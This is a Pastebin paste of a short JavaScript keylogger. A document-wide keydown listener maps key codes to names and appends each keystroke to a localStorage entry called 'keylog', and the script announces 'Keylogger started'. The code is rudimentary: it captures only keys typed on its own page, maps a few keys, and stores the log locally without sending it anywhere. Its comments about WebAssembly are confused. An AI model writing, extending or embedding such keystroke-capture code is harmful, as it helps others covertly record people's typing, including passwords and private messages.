Advertisement
Sweetening

Untitled

Jan 18th, 2025
23
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.11 KB | None | 0 0
  1. // WebAssembly doesn't allow direct access to the OS, so we use JavaScript for keyboard events
  2.  
  3. // Event handler for keydown event
  4. document.addEventListener('keydown', function(event) {
  5. processKeyInput(event.keyCode);
  6. });
  7. function processKeyInput(keyCode) {
  8. let keyName = getKeyName(keyCode);
  9. logKey(keyName);
  10. }
  11. function getKeyName(keyCode) {
  12. // Use JavaScript to map keyCode to key name
  13. const keyNames = {
  14. 65: 'A', 66: 'B', 67: 'C',
  15. 27: 'Escape', 13: 'Enter',
  16. // Add more key codes here...
  17. };
  18. return keyNames[keyCode] || 'Unknown';
  19. }
  20. function logKey(keyName) {
  21. // Store data in localStorage for persistence (WebAssembly doesn't support file I/O directly)
  22. let log = localStorage.getItem('keylog') || '';
  23. log += keyName + '\n';
  24. localStorage.setItem('keylog', log);
  25. }
  26. function writeFile(fileName, content) {
  27. localStorage.setItem(fileName, content);
  28. }
  29. function readFile(fileName) {
  30. return localStorage.getItem(fileName);
  31. }
  32. writeFile('Datalog.txt', 'Keylogger started\n');
  33. let datalog = readFile('Datalog.txt');
  34. console.log(datalog);
  35.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement